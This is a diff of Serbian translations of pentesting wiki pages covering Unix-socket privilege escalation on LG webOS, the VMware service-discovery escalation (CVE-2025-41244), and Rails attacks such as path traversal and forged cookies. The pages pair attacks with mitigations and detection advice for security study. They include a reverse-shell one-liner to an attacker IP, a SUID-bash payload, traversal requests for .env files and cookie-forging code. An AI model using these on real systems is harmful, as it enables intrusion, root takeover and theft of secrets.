Komentarisanje dodele nije pokvarilo testove, što ukazuje na nedostatak post-state assertions. Osnovni uzrok: kod je verovao korisnički kontrolisanom `_cmd.value` umesto da verifikuje stvarne transfere tokena. Napadač bi mogao desinhronizovati očekivane i stvarne transfere kako bi isisao sredstva. Posledica: visok rizik po solventnost protokola.
|
Komentarisanje dodele nije prekinulo testove, što ukazuje na nedostatak asercija stanja nakon izvršenja. Osnovni uzrok: kod je verovao korisnički kontrolisanom `_cmd.value` umesto da proveri stvarne transfere tokena. Napadač bi mogao desinhronizovati očekivane i stvarne transfere da isprazni sredstva. Rezultat: visok stepen rizika po solventnost protokola.
|
||||||
|
|
||||||
Smernice: Smatrajte survivors koji utiču na value transfers, accounting, ili access control visokorizičnim dok nisu killed.
|
Smernica: tretirajte preostale mutante koji utiču na transfere vrednosti, računovodstvo ili kontrolu pristupa kao visokorizične dok se ne uklone.
|
||||||
|
|
||||||
## Praktična kontrolna lista
|
## Praktična kontrolna lista
|
||||||
|
|
||||||
- Pokrenite ciljanu kampanju:
|
- Pokrenite ciljanu kampanju:
|
||||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||||
- Razvrstajte survivors i napišite testove/invarijante koje bi pale pri mutiranom ponašanju.
|
- Razvrstajte preostale mutante i napišite testove/invarijante koji bi pali pod izmenjenim ponašanjem.
|
||||||
- Proverite balances, supply, authorizations i events.
|
- Potvrdite bilanse, ukupnu ponudu, autorizacije i događaje.
|
||||||
- Dodajte boundary testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
- Dodajte granične testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||||
- Zamenite nerealne mocks; simulirajte failure modes.
|
- Zamenite nerealne mock-ove; simulirajte režime otkaza.
|
||||||
- Iterirajte dok svi mutants ne budu killed ili opravdani komentarima i objašnjenjem.
|
- Iterirajte dok svi mutanti nisu uklonjeni ili opravdani komentarima i obrazloženjem.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Primer bindovanja Socket-a u Pythonu
|
## Socket binding example with Python
|
||||||
|
|
||||||
U sledećem primeru je kreiran **unix socket** (`/tmp/socket_test.s`) i sve što se **primi** biće **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u prirodi, ali cilj ovog primera je da vidite kako izgleda kod koji koristi unix sockets i kako upravljati ulazom u najgorem mogućem slučaju.
|
U sledećem primeru se kreira **unix socket** (`/tmp/socket_test.s`) i sve što se **primi** biće **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u prirodi, ali cilj ovog primera je da pokaže kako izgleda kod koji koristi unix sockets i kako upravljati ulazom u najgorem mogućem slučaju.
|
||||||
```python:s.py
|
```python:s.py
|
||||||
import socket
|
import socket
|
||||||
import os, os.path
|
import os, os.path
|
||||||
@ -39,15 +39,15 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
|
|||||||
```
|
```
|
||||||
## Studija slučaja: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
## Studija slučaja: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||||
|
|
||||||
Neki privilegovani daemoni izlažu root-owned UNIX socket koji prihvata nepouzdan ulaz i povezuje privilegovane akcije sa thread-IDs i signalima. Ako protokol dozvoljava neprivilegovanom klijentu da utiče na to koji native thread će biti meta, moguće je pokrenuti privilegovani kod i izvršiti eskalaciju.
|
Neki privileged daemons izlažu root-owned UNIX socket koji prihvata untrusted input i vezuje privileged actions za thread-IDs i signals. Ako protocol dozvoljava da unprivileged client utiče na koji native thread bude targetiran, možda ćete moći da trigger-ujete privileged code path i escalate-ujete.
|
||||||
|
|
||||||
Uočen obrazac:
|
Posmatran obrazac:
|
||||||
- Poveži se na root-owned socket (npr. /tmp/remotelogger).
|
- Povežite se na root-owned socket (npr. /tmp/remotelogger).
|
||||||
- Kreiraj thread i pribavi njegov native thread id (TID).
|
- Kreirajte thread i dobijte njegov native thread id (TID).
|
||||||
- Pošalji TID (packed) plus padding kao request; primi acknowledgement.
|
- Pošaljite TID (packed) plus padding kao request; primite acknowledgement.
|
||||||
- Pošalji određeni signal tom TID-u da pokrene privilegovano ponašanje.
|
- Pošaljite specifičan signal tom TID-u da biste trigger-ovali privileged behaviour.
|
||||||
|
|
||||||
Skica minimalnog PoC-a:
|
Minimalna PoC skica:
|
||||||
```python
|
```python
|
||||||
import socket, struct, os, threading, time
|
import socket, struct, os, threading, time
|
||||||
# Spawn a thread so we have a TID we can signal
|
# Spawn a thread so we have a TID we can signal
|
||||||
@ -59,16 +59,16 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
|||||||
s.recv(4) # sync
|
s.recv(4) # sync
|
||||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||||
```
|
```
|
||||||
Da biste ovo pretvorili u root shell, može se upotrebiti jednostavan named-pipe + nc pattern:
|
Da biste ovo pretvorili u root shell, može se koristiti jednostavan named-pipe + nc pattern:
|
||||||
```bash
|
```bash
|
||||||
rm -f /tmp/f; mkfifo /tmp/f
|
rm -f /tmp/f; mkfifo /tmp/f
|
||||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||||
```
|
```
|
||||||
Napomene:
|
Napomene:
|
||||||
- Ova klasa ranjivosti nastaje kada se veruje vrednostima izvedenim iz stanja neprivilegovanog klijenta (TIDs) i povezuje ih sa privilegovanim obrađivačima signala ili logikom.
|
- Ova klasa ranjivosti nastaje zbog poverenja u vrednosti izvedene iz neprivilegovanog stanja klijenta (TIDs) i vezivanja tih vrednosti za privilegovane obrađivače signala ili logiku.
|
||||||
- Ojačajte primenom kredencijala na socketu, validacijom formata poruka i razdvajanjem privilegovanih operacija od spolja dostavljenih identifikatora niti.
|
- Ojačajte primenom credentials na socket, validacijom formata poruka i odvajanjem privilegovanih operacija od spolja dostavljenih identifikatora niti.
|
||||||
|
|
||||||
## References
|
## Reference
|
||||||
|
|
||||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||||
|
|
||||||
|
@ -2,22 +2,22 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Ova tehnika zloupotrebljava pipeline-ove service discovery zasnovane na regex-u koji parsiraju command line pokrenutih procesa kako bi utvrdili verzije servisa i zatim izvršili kandidat binarni fajl sa opcijom "version". Kada previše permisivni regularni izrazi prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244.
|
Ova tehnika zloupotrebljava pipeline-ove za otkrivanje servisa vođene regex-ovima koji parsiraju command line-ove pokrenutih procesa da bi zaključili verzije servisa, a zatim pokreću kandidat binarni fajl sa "version" flag-om. Kada permisivni pattern-i prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244.
|
||||||
|
|
||||||
- Impact: Lokalno eskaliranje privilegija do root-a (ili do privilegovanog discovery naloga)
|
- Impact: Lokalna eskalacija privilegija do root (ili do privilegovane discovery naloga)
|
||||||
- Root cause: Untrusted Search Path (CWE-426) + previše permisivno regex podudaranje command line-ova procesa
|
- Root cause: Untrusted Search Path (CWE-426) + permisivno regex podudaranje command line-ova procesa
|
||||||
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
- Affected: open-vm-tools/VMware Tools na Linuxu (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||||
|
|
||||||
## How VMware service discovery works (high level)
|
## How VMware service discovery works (high level)
|
||||||
|
|
||||||
- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a putem VMware Tools koristeći konfigurisane privilegovane kredencijale.
|
- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a preko VMware Tools koristeći konfigurisane privilegovane kredencijale.
|
||||||
- Credential-less (modern): Discovery logika se izvršava unutar VMware Tools, već privilegovana u guest-u.
|
- Credential-less (modern): Discovery logika radi unutar VMware Tools, koji već ima privilegije u guest-u.
|
||||||
|
|
||||||
Oba moda na kraju pokreću shell logiku koja skenira procese sa slušačkim socket-ima, izvlači odgovarajući command path pomoću regex-a, i izvršava prvi argv token sa zastavicom za verziju.
|
Oba moda na kraju pokreću shell logiku koja skenira procese sa listening socket-ovima, ekstrahuje path komande koja se poklapa putem regex-a i izvršava prvi argv token sa version flag-om.
|
||||||
|
|
||||||
## Root cause and vulnerable pattern (open-vm-tools)
|
## Root cause and vulnerable pattern (open-vm-tools)
|
||||||
|
|
||||||
U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarne fajlove koristeći široke regularne izraze i izvršava prvi token bez bilo kakve validacije poverene putanje:
|
U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarnih fajlova koristeći široke regularne izraze i izvršava prvi token bez ikakve validacije trusted-path:
|
||||||
```bash
|
```bash
|
||||||
get_version() {
|
get_version() {
|
||||||
PATTERN=$1
|
PATTERN=$1
|
||||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
|||||||
done
|
done
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Poziva se sa permisivnim obrascima koji sadrže \S (ne-razmak) koji će rado poklapati nesistemske putanje u lokacijama u koje korisnik može pisati:
|
Poziva se sa permisivnim obrascima koji sadrže \S (bez belog prostora), koji lako odgovaraju ne-sistemskim putanjama u lokacijama zapisivim od strane korisnika:
|
||||||
```bash
|
```bash
|
||||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||||
@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
|||||||
get_version "/\S+/dataserver($|\s)" -v
|
get_version "/\S+/dataserver($|\s)" -v
|
||||||
```
|
```
|
||||||
- Ekstrakcija koristi grep -Eo i uzima prvi token: ${COMMAND%%[[:space:]]*}
|
- Ekstrakcija koristi grep -Eo i uzima prvi token: ${COMMAND%%[[:space:]]*}
|
||||||
- Nema whitelist/allowlist pouzdanih sistemskih putanja; svaki otkriven listener sa podudarajućim imenom se izvršava sa -v/--version
|
- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version
|
||||||
|
|
||||||
Ovo stvara untrusted search path execution primitive: proizvoljni binarni fajlovi smešteni u direktorijumima sa dozvolom za pisanje za sve (npr. /tmp/httpd) biće izvršeni od strane privilegovane komponente.
|
Ovo stvara untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
|
||||||
|
|
||||||
## Eksploatacija (i bez kredencijala i sa kredencijalima)
|
## Exploitation (both credential-less and credential-based modes)
|
||||||
|
|
||||||
Preduslovi
|
Preduslovi
|
||||||
- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guestu.
|
- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guest-u.
|
||||||
- discovery job je omogućen i izvršava se periodično (istorijski ~5 minuta).
|
- discovery job je omogućen i radi periodično (istorijski ~5 minuta).
|
||||||
|
|
||||||
Koraci
|
Koraci
|
||||||
1) Postavite binarni fajl na putanju koja odgovara jednom od permisivnih regex-ova, npr. /tmp/httpd ili ./nginx
|
1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx
|
||||||
2) Pokrenite ga kao korisnik sa niskim privilegijama i obezbedite da otvori bilo koji listening socket
|
2) Run it as a low-privileged user and ensure it opens any listening socket
|
||||||
3) Sačekajte ciklus discovery; privilegovani collector će automatski izvršiti: /tmp/httpd -v (ili slično), pokrećući vaš program kao root
|
3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root
|
||||||
|
|
||||||
Minimalni demo (koristeći NVISO-ov pristup)
|
Minimalni demo (koristeći NVISO’s approach)
|
||||||
```bash
|
```bash
|
||||||
# Build any small helper that:
|
# Build any small helper that:
|
||||||
# - default mode: opens a dummy TCP listener
|
# - default mode: opens a dummy TCP listener
|
||||||
@ -65,61 +65,61 @@ chmod +x /tmp/httpd
|
|||||||
/tmp/httpd # run as low-priv user and wait for the cycle
|
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||||
# After the next cycle, expect a root shell or your privileged action
|
# After the next cycle, expect a root shell or your privileged action
|
||||||
```
|
```
|
||||||
Tipičan lanac procesa
|
Tipična linija procesa
|
||||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
- Sa kredencijalima: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
- Bez kredencijala: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
|
||||||
Artefakti (credential-based)
|
Artefakti (sa kredencijalima)
|
||||||
Pronađene SDMP wrapper skripte pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamernog puta:
|
Pronađene SDMP wrapper skripte u /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamerne putanje:
|
||||||
```bash
|
```bash
|
||||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||||
```
|
```
|
||||||
## Generalizacija tehnike: zloupotreba otkrivanja vođena regex-om (prenosivi obrazac)
|
## Generalizacija tehnike: regex-driven discovery abuse (portable pattern)
|
||||||
|
|
||||||
Mnogi agenti i nadzorni paketi implementiraju otkrivanje verzija/servisa tako što:
|
Mnogi agenti i monitoring paketi implementiraju otkrivanje verzija/servisa na sledeći način:
|
||||||
- Enumerišu procese sa slušačkim socket-ima
|
- Enumerisanje procesa sa socket-ovima koji slušaju
|
||||||
- Pretražuju argv/komandne linije pomoću permisivnih regexes (npr., obrasci koji sadrže \S)
|
- Pregledanje argv/command linija pomoću permisivnih regex-a (npr. patterni koji sadrže \S)
|
||||||
- Izvršavaju poklapanu putanju sa benignim flagom kao što su -v, --version, -V, -h
|
- Izvršavanje pronađenog puta sa benignim flagom kao -v, --version, -V, -h
|
||||||
|
|
||||||
Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobijate CWE-426 Untrusted Search Path execution.
|
Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobija se CWE-426 Untrusted Search Path execution.
|
||||||
|
|
||||||
Recept za zloporabu
|
Recept za zloupotrebu
|
||||||
- Imenovati svoj binarni fajl kao uobičajene daemone koje će regex verovatno poklopiti: httpd, nginx, mysqld, dataserver
|
- Imenujte svoj binarni fajl kao kod uobičajenih daemon-a koje regex verovatno poklapa: httpd, nginx, mysqld, dataserver
|
||||||
- Postaviti ga u direktorijum koji je upisiv: /tmp/httpd, ./nginx
|
- Postavite ga u direktorijum sa mogućnošću pisanja: /tmp/httpd, ./nginx
|
||||||
- Osigurati da se poklapa sa regex-om i otvori bilo koji port da bi bio enumerisan
|
- Osigurajte da se poklapa sa regex-om i otvori bilo koji port koji će biti izlistan
|
||||||
- Sačekati zakazani collector; dobićete automatsko privilegovano pozivanje <path> -v
|
- Sačekajte zakazani kolektor; dobićete automatsko privilegovano pokretanje <path> -v
|
||||||
|
|
||||||
Napomena o maskiranju: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) za povećanje verovatnoće poklapanja i prikrivenost.
|
Napomena o kamuflaži: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) radi povećanja verovatnoće poklapanja i prikrivenosti.
|
||||||
|
|
||||||
Trik za višekratno korišćenje: privilegovani I/O relej
|
Ponovo upotrebljiv trik za privilegovani I/O relay
|
||||||
- Izgradite helper tako da pri privilegovanom pozivu (-v/--version) poveže se na poznati rendezvous (npr., Linux abstract UNIX socket kao @cve) i premošćuje stdio na /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo poziva sa flagom.
|
- Napravite helper tako da pri privilegovanom pokretanju (-v/--version) uspostavi vezu sa poznatim rendezvous-om (npr. Linux abstract UNIX socket kao @cve) i poveže stdio sa /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo pokreće sa flagom.
|
||||||
|
|
||||||
## Otkrivanje i DFIR smernice
|
## Detekcija i DFIR smernice
|
||||||
|
|
||||||
Upiti za pretragu
|
Hunting queries
|
||||||
- Neobična deca vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld
|
- Neobični child procesi vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld
|
||||||
- Bilo koje izvršenje apsolutnih putanja koje nisu sistemske od strane skripti za otkrivanje (tražite razmake u ${COMMAND%%...} ekspanzijama)
|
- Bilo koje izvršavanje apsolutnih putanja van sistema od strane discovery skripti (gledajte razmake u ${COMMAND%%...} ekspanzijama)
|
||||||
- ps -ef --forest da vizualizujete stabla porekla: vmtoolsd -> get-versions.sh -> <non-system path>
|
- ps -ef --forest za vizualizaciju stabala nasledstva: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||||
|
|
||||||
Na Aria SDMP (bazirano na kredencijalima)
|
Na Aria SDMP (credential-based)
|
||||||
- Inspektovati /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje napadačkih putanja
|
- Pregledajte /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje putanja napadača
|
||||||
|
|
||||||
Politika/telemetrija
|
Policy/telemetry
|
||||||
- Alertujte kada privilegovani collectors izvršavaju iz prefiksa koji nisu sistemski: ^/(tmp|home|var/tmp|dev/shm)/
|
- Alarmirajte kada privilegovani kolektori izvršavaju iz prefiksa van sistema: ^/(tmp|home|var/tmp|dev/shm)/
|
||||||
- File integrity monitoring na get-versions.sh i VMware Tools plugins
|
- Nadzor integriteta fajlova za get-versions.sh i VMware Tools plugins
|
||||||
|
|
||||||
## Mitigacije
|
## Mitigacije
|
||||||
|
|
||||||
- Patch: Primeni Broadcom/VMware update-ove za CVE-2025-41244 (Tools and Aria Operations SDMP)
|
- Patch: Primenite Broadcom/VMware ažuriranja za CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||||
- Onemogući ili ograniči otkrivanje bez kredencijala gde je moguće
|
- Onemogućite ili ograničite discovery bez kredencijala gde je moguće
|
||||||
- Validiraj poverene putanje: ograniči izvršenje na dozvoljene direktorijume (/usr/sbin, /usr/bin, /sbin, /bin) i samo tačno poznate binarne fajlove
|
- Validirajte pouzdane putanje: ograničite izvršavanje na direktorijume sa liste dozvoljenih (/usr/sbin, /usr/bin, /sbin, /bin) i samo na tačno poznate binarne fajlove
|
||||||
- Izbegavaj permisivne regexes sa \S; preferiraj uvezane (anchored), eksplicitne apsolutne putanje i tačna imena komandi
|
- Izbegavajte permisivne regex-e sa \S; preferirajte ukotvljene, eksplicitne apsolutne putanje i tačna imena komandi
|
||||||
- Smanji privilegije za discovery helpere gde je moguće; sandbox-uj (seccomp/AppArmor) da bi se umanjio uticaj
|
- Smanjite privilegije discovery helper-a gde je moguće; sandboxujte (seccomp/AppArmor) da smanjite uticaj
|
||||||
- Monitoriši i alarmiraj na vmtoolsd/get-versions.sh koji izvršavaju putanje van sistemskih lokacija
|
- Nadzirite i alarmirajte kod vmtoolsd/get-versions.sh koji izvršavaju putanje van sistema
|
||||||
|
|
||||||
## Napomene za branioce i implementatore
|
## Napomene za odbrambene timove i implementatore
|
||||||
|
|
||||||
Bezbedniji obrazac podudaranja i izvršavanja
|
Bezbedniji model poklapanja i izvršenja
|
||||||
```bash
|
```bash
|
||||||
# Bad: permissive regex and blind exec
|
# Bad: permissive regex and blind exec
|
||||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||||
|
@ -2,50 +2,50 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Otpremanje fajla do RCE
|
## Otprema fajla do RCE
|
||||||
|
|
||||||
Kao što je objašnjeno u [this article](https://www.offsec.com/blog/cve-2024-46986/), otpremanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.
|
Kao što je objašnjeno u [this article](https://www.offsec.com/blog/cve-2024-46986/), otpremanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama.
|
||||||
|
|
||||||
Saveti:
|
Saveti:
|
||||||
- Druge lokacije koje se izvršavaju pri startovanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr. `config/initializers/` je klasičan primer). Ako nađete arbitrarno otpremanje fajla koje se smešta bilo gde pod `config/` i kasnije evaluated/required, možete dobiti RCE pri boot-u.
|
- Druga mesta koja se izvršavaju pri startu aplikacije (boot/eager-load) su takođe rizična ako su upisiva (npr. `config/initializers/` je klasičan primer). Ako nađete arbitraran file upload koji završi bilo gde pod `config/` i kasnije se eval/require-uje, možete dobiti RCE pri pokretanju.
|
||||||
- Tražite dev/staging build-ove koji kopiraju fajlove pod kontrolom korisnika u container image gde će Rails učitati te fajlove pri startu.
|
- Tražite dev/staging buildove koji kopiraju user-controlled fajlove u container image gde će ih Rails učitati pri startu.
|
||||||
|
|
||||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||||
|
|
||||||
Kada aplikacija koristi Active Storage sa `image_processing` + `mini_magick`, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformacije greškom dozvoljene po defaultu.
|
Kada aplikacija koristi Active Storage sa `image_processing` + `mini_magick`, i prosleđuje untrusted parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformation metode greškom bile dozvoljene po defaultu.
|
||||||
|
|
||||||
- Rizičan obrazac izgleda ovako:
|
- Vulnerable pattern izgleda ovako:
|
||||||
```erb
|
```erb
|
||||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||||
```
|
```
|
||||||
gde su `params[:t]` i/ili `params[:v]` pod kontrolom napadača.
|
gde su `params[:t]` i/ili `params[:v]` pod kontrolom napadača.
|
||||||
|
|
||||||
- Šta probati tokom testiranja
|
- Šta probati tokom testiranja
|
||||||
- Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili proizvoljne ImageMagick argumente.
|
- Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija, ili arbitrarne ImageMagick argumente.
|
||||||
- Fuzz-ujte `params[:t]` i `params[:v]` tražeći sumnjive greške ili neželjene efekte izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji dopiru do MiniMagick, možete ostvariti code exec na hostu koji procesuira slike.
|
- Fuzz `params[:t]` i `params[:v]` za sumnjive greške ili side-effecte izvršavanja. Ako možete uticati na ime metode ili poslati raw argumente koji dospeju do MiniMagick-a, možete dobiti code exec na hostu koji obrađuje slike.
|
||||||
- Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration preko crafted ImageMagick operacija.
|
- Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration putem konstruisanih ImageMagick operacija.
|
||||||
|
|
||||||
- Remedijacija/detekcije
|
- Rešavanje/detekcija
|
||||||
- Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + `image_processing` + `mini_magick` i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučuje se nadogradnja i nametanje striktnih allowlists za metode/parametre i hardened ImageMagick policy.
|
- Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + `image_processing` + `mini_magick` i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučite nadogradnju i primenu striktnih allowlist-a za metode/params i hardenovan ImageMagick policy.
|
||||||
|
|
||||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||||
|
|
||||||
Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije `rack` pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko `Rack::Static` kada `:root` nije podešen/je pogrešno konfiguran. Encodovani traversal u `PATH_INFO` može otkriti fajlove pod radnim direktorijumom procesa ili neočekivanim root-om.
|
Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije `rack` pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko `Rack::Static` kada `:root` nije setovan/je pogrešno konfigurisan. Encodovana traversal u `PATH_INFO` može izložiti fajlove iz radnog direktorijuma procesa ili neočekivanog root-a.
|
||||||
|
|
||||||
- Tražite aplikacije koje mount-uju `Rack::Static` u `config.ru` ili middleware stack-ovima. Probajte encodovane traversale prema statičkim putanjama, na primer:
|
- Tražite aplikacije koje mount-uju `Rack::Static` u `config.ru` ili middleware stack-ovima. Probajte encodovane traversale protiv statičkih putanja, na primer:
|
||||||
```text
|
```text
|
||||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||||
GET /favicon.ico/..%2f..%2f.env
|
GET /favicon.ico/..%2f..%2f.env
|
||||||
```
|
```
|
||||||
Podesite prefix da odgovara konfigurisanom `urls:`. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka svemu ispod razrešenog `:root`.
|
Prilagodite prefix da odgovara konfigurisanom `urls:`. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka bilo čemu pod razrešenim `:root`.
|
||||||
|
|
||||||
- Mitigacija: nadogradite Rack; osigurajte da `:root` pokazuje samo na direktorijum sa javnim fajlovima i eksplicitno je podešen.
|
- Ublažavanje: nadogradite Rack; osigurajte da `:root` pokazuje samo na direktorijum javnih fajlova i da je eksplicitno setovan.
|
||||||
|
|
||||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||||
|
|
||||||
Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz `secret_key_base`. If that value leaks (npr. u repozitorijumu, logovima ili pogrešno konfigurisanim credentials), obično možete dekriptovati, izmeniti i ponovo enkriptovati cookies. Ovo često vodi do authz bypass ako aplikacija skladišti uloge, user IDs, ili feature flags u kolačićima.
|
Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz `secret_key_base`. Ako ta vrednost bude leaked (npr. u repo-u, logovima ili pogrešno konfigurisanih credentials), obično možete dekriptovati, modifikovati i ponovo enkriptovati cookies. Ovo često vodi ka authz bypass-u ako aplikacija čuva ulogu, user ID-jeve ili feature flag-ove u cookies.
|
||||||
|
|
||||||
Minimal Ruby za dekriptovanje i ponovno enkriptovanje modernih cookies (AES-256-GCM, default u recentnim Rails):
|
Minimalni Ruby za dekriptovanje i ponovnu enkripciju modernih cookies (AES-256-GCM, default u novijim Rails):
|
||||||
```ruby
|
```ruby
|
||||||
require 'cgi'
|
require 'cgi'
|
||||||
require 'json'
|
require 'json'
|
||||||
@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
|
|||||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||||
```
|
```
|
||||||
Napomene:
|
Napomene:
|
||||||
